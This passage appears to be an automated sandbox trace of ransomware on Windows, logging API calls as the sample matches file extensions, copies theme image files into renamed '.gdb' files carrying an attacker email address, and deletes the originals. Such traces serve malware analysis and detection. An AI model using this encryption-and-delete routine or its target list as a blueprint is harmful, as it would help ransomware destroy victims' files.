Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.710] lstrlenW (lpString=".dbf") returned 4 [0124.710] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.710] lstrlenW (lpString=".1cd") returned 4 [0124.710] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.710] lstrlenW (lpString=".jpg") returned 4 [0124.710] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.711] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.711] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.711] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=26402) returned 1 [0124.711] CloseHandle (hObject=0x1a8) returned 1 [0125.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0125.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.034] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.034] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.035] GetLastError () returned 0x0 [0125.035] ReadFile (in: hFile=0x214, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x6722, lpOverlapped=0x0) returned 1 [0125.114] WriteFile (in: hFile=0x220, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x6730, lpOverlapped=0x0) returned 1 [0125.115] ReadFile (in: hFile=0x214, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.115] WriteFile (in: hFile=0x220, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0125.115] SetEndOfFile (hFile=0x220) returned 1 [0125.115] CloseHandle (hObject=0x220) returned 1 [0125.116] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.116] SetEndOfFile (hFile=0x214) returned 1 [0125.117] CloseHandle (hObject=0x214) returned 1 [0125.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.117] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0125.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.117] lstrlenW (lpString=".doc") returned 4 [0125.118] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString=".docx") returned 5 [0125.118] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.118] lstrlenW (lpString=".pdf") returned 4 [0125.118] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString=".xls") returned 4 [0125.118] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.118] lstrlenW (lpString=".xlsx") returned 5 [0125.118] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.118] lstrlenW (lpString=".ppt") returned 4 [0125.118] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.118] lstrlenW (lpString=".zip") returned 4 [0125.118] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.118] lstrlenW (lpString=".rar") returned 4 [0125.118] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.118] lstrlenW (lpString=".bz2") returned 4 [0125.118] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString=".7z") returned 3 [0125.118] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.118] lstrlenW (lpString=".dbf") returned 4 [0125.118] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.118] lstrlenW (lpString=".1cd") returned 4 [0125.118] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.118] lstrlenW (lpString=".jpg") returned 4 [0125.118] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.118] lstrlenW (lpString=".doc") returned 4 [0125.118] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.118] lstrlenW (lpString=".docx") returned 5 [0125.118] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.119] lstrlenW (lpString=".pdf") returned 4 [0125.119] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.119] lstrlenW (lpString=".xls") returned 4 [0125.119] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.119] lstrlenW (lpString=".xlsx") returned 5 [0125.119] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.119] lstrlenW (lpString=".ppt") returned 4 [0125.119] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.119] lstrlenW (lpString=".zip") returned 4 [0125.119] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.119] lstrlenW (lpString=".rar") returned 4 [0125.119] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.119] lstrlenW (lpString=".bz2") returned 4 [0125.119] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.119] lstrlenW (lpString=".7z") returned 3 [0125.119] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.119] lstrlenW (lpString=".dbf") returned 4 [0125.119] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.119] lstrlenW (lpString=".1cd") returned 4 [0125.119] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0125.119] lstrlenW (lpString=".jpg") returned 4 [0125.119] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.119] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.119] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.139] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=32433) returned 1 [0125.140] CloseHandle (hObject=0x220) returned 1 [0125.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0125.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.149] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.149] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.149] GetLastError () returned 0x0 [0125.149] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x7eb1, lpOverlapped=0x0) returned 1 [0125.151] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x7ec0, lpOverlapped=0x0) returned 1 [0125.153] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.153] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0125.153] SetEndOfFile (hFile=0x218) returned 1 [0125.153] CloseHandle (hObject=0x218) returned 1 [0125.153] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.153] SetEndOfFile (hFile=0x220) returned 1 [0125.154] CloseHandle (hObject=0x220) returned 1 [0125.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.155] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0125.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.155] lstrlenW (lpString=".doc") returned 4 [0125.155] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.155] lstrlenW (lpString=".docx") returned 5 [0125.155] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.155] lstrlenW (lpString=".pdf") returned 4 [0125.155] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.155] lstrlenW (lpString=".xls") returned 4 [0125.155] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.155] lstrlenW (lpString=".xlsx") returned 5 [0125.155] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.155] lstrlenW (lpString=".ppt") returned 4 [0125.155] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.155] lstrlenW (lpString=".zip") returned 4 [0125.155] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.155] lstrlenW (lpString=".rar") returned 4 [0125.155] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.155] lstrlenW (lpString=".bz2") returned 4 [0125.155] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.155] lstrlenW (lpString=".7z") returned 3 [0125.155] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString=".dbf") returned 4 [0125.156] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString=".1cd") returned 4 [0125.156] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString=".jpg") returned 4 [0125.156] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString=".doc") returned 4 [0125.156] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.156] lstrlenW (lpString=".docx") returned 5 [0125.156] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.156] lstrlenW (lpString=".pdf") returned 4 [0125.156] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.156] lstrlenW (lpString=".xls") returned 4 [0125.156] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.156] lstrlenW (lpString=".xlsx") returned 5 [0125.156] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.156] lstrlenW (lpString=".ppt") returned 4 [0125.156] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString=".zip") returned 4 [0125.156] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.156] lstrlenW (lpString=".rar") returned 4 [0125.156] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.156] lstrlenW (lpString=".bz2") returned 4 [0125.156] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.156] lstrlenW (lpString=".7z") returned 3 [0125.156] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.156] lstrlenW (lpString=".dbf") returned 4 [0125.157] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.157] lstrlenW (lpString=".1cd") returned 4 [0125.157] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0125.157] lstrlenW (lpString=".jpg") returned 4 [0125.157] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.157] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.157] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.157] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=18817) returned 1 [0125.157] CloseHandle (hObject=0x220) returned 1 [0125.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0125.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0125.159] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.159] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.161] GetLastError () returned 0x0 [0125.161] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x4981, lpOverlapped=0x0) returned 1 [0125.163] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x4990, lpOverlapped=0x0) returned 1 [0125.164] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0125.164] WriteFile (in: hFile=0x218, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0125.164] SetEndOfFile (hFile=0x218) returned 1 [0125.164] CloseHandle (hObject=0x218) returned 1 [0125.165] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0125.165] SetEndOfFile (hFile=0x220) returned 1 [0125.166] CloseHandle (hObject=0x220) returned 1 [0125.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0125.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.166] lstrlenW (lpString=".doc") returned 4 [0125.166] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.166] lstrlenW (lpString=".docx") returned 5 [0125.166] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.166] lstrlenW (lpString=".pdf") returned 4 [0125.166] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.166] lstrlenW (lpString=".xls") returned 4 [0125.166] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.166] lstrlenW (lpString=".xlsx") returned 5 [0125.166] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.166] lstrlenW (lpString=".ppt") returned 4 [0125.167] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString=".zip") returned 4 [0125.167] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.167] lstrlenW (lpString=".rar") returned 4 [0125.167] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.167] lstrlenW (lpString=".bz2") returned 4 [0125.167] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.167] lstrlenW (lpString=".7z") returned 3 [0125.167] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString=".dbf") returned 4 [0125.167] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString=".1cd") returned 4 [0125.167] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString=".jpg") returned 4 [0125.167] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString=".doc") returned 4 [0125.167] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.167] lstrlenW (lpString=".docx") returned 5 [0125.167] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.167] lstrlenW (lpString=".pdf") returned 4 [0125.167] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.167] lstrlenW (lpString=".xls") returned 4 [0125.167] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.167] lstrlenW (lpString=".xlsx") returned 5 [0125.167] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.167] lstrlenW (lpString=".ppt") returned 4 [0125.167] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0125.167] lstrlenW (lpString=".zip") returned 4 [0125.168] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.168] lstrlenW (lpString=".rar") returned 4 [0125.168] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.168] lstrlenW (lpString=".bz2") returned 4 [0125.168] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.168] lstrlenW (lpString=".7z") returned 3 [0125.168] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 